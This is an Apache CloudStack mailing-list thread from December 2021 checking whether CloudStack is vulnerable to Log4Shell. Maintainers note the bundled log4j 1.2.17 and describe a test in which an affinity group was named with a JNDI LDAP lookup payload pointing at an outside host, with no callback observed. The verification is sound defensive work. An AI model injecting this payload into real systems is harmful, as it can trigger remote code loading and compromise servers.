Hi Serge,

We've just posted the advisory which refers to log4j developer's note and slf4j 
project advisory. In addition, I performed the following test:

1. To test log4j RCE/CVE I found a resource whose name is printed by a logger, 
such as:
https://github.com/apache/cloudstack/blob/main/server/src/main/java/org/apache/cloudstack/affinity/AffinityGroupServiceImpl.java#L164

2. I created the resource, an affinity group with name 
"${jndi:ldap://192.168.1.10/a<http://192.168.1.10/a>}" and tailed my webserver 
running on 192.168.1.10. The following was in CloudStack logs:
2021-12-11 08:39:46,265 DEBUG [o.a.c.a.AffinityGroupServiceImpl] 
(qtp1263668904-12808:ctx-d26b3d51 ctx-618e7d31) (logid:19557a1b) Created 
affinity group =${jndi:ldap://192.168.1.10/a<http://192.168.1.10/a>}

However, the webserver logs has no error or access requests on /a path

3. Upon unzipping the 4.15.2 and 4.16.0 mgmt server jars, I didn't find the 
Jndi lookup class:
root@cloudpi:/usr/share/cloudstack-management/lib/tmp# find . | grep JndiLookup
./org/springframework/ejb/config/JndiLookupBeanDefinitionParser.class
./org/springframework/jndi/JndiLookupFailureException.class


Regards.

________________________________
From: Bs Serge <sergeb...@gmail.com>
Sent: Monday, December 13, 2021 15:17
To: users@cloudstack.apache.org <users@cloudstack.apache.org>
Subject: Re: Log4j in Cloudstack

Daan,
Thanks for the update, I can see the default log4j configuration uses
1.2.27 :

<!-- Logging versions -->
<cs.log4j.version>1.2.17</cs.log4j.version>
<cs.log4j.extras.version>1.2.17</cs.log4j.extras.version>
<cs.logging.version>1.1.1</cs.logging.version>

We'll be waiting for the official statement.

Best Regards,

On Mon, Dec 13, 2021 at 11:12 AM Daan Hoogland <daan.hoogl...@gmail.com>
wrote:

> Serge,
> A official statement should be coming out soon, but I think it is safe to
> say the ACS is not impacted, for sure with the default log4j configuration.
> The version we use is not impacted. A colleague PMC member did an exploit
> attempt and showed it failing. If you are unsure [1] describes what we feel
> is applicable to Cloudstack as well..
>
> [1] http://slf4j.org/log4shell.html
>

 

> On Mon, Dec 13, 2021 at 9:55 AM Bs Serge <sergeb...@gmail.com> wrote:
>
> > Hi all,
> >
> > I’m sure all of you are aware of what’s going with the Log4j security
> > vulnerability, If not then :
> >
> > - https://www.wired.com/story/log4j-flaw-hacking-internet/
> > -
> >
> >
> https://logging-apache-org.translate.goog/log4j/2.x/security.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US
> >
> > So some of us are wondering :
> >
> > Does it affect some versions of the management server installation? and
> > What can one do to make sure that they are safe from this vulnerability?
> >
> > Best Regards,
> >
>
>
> --
> Daan
>

Reply via email to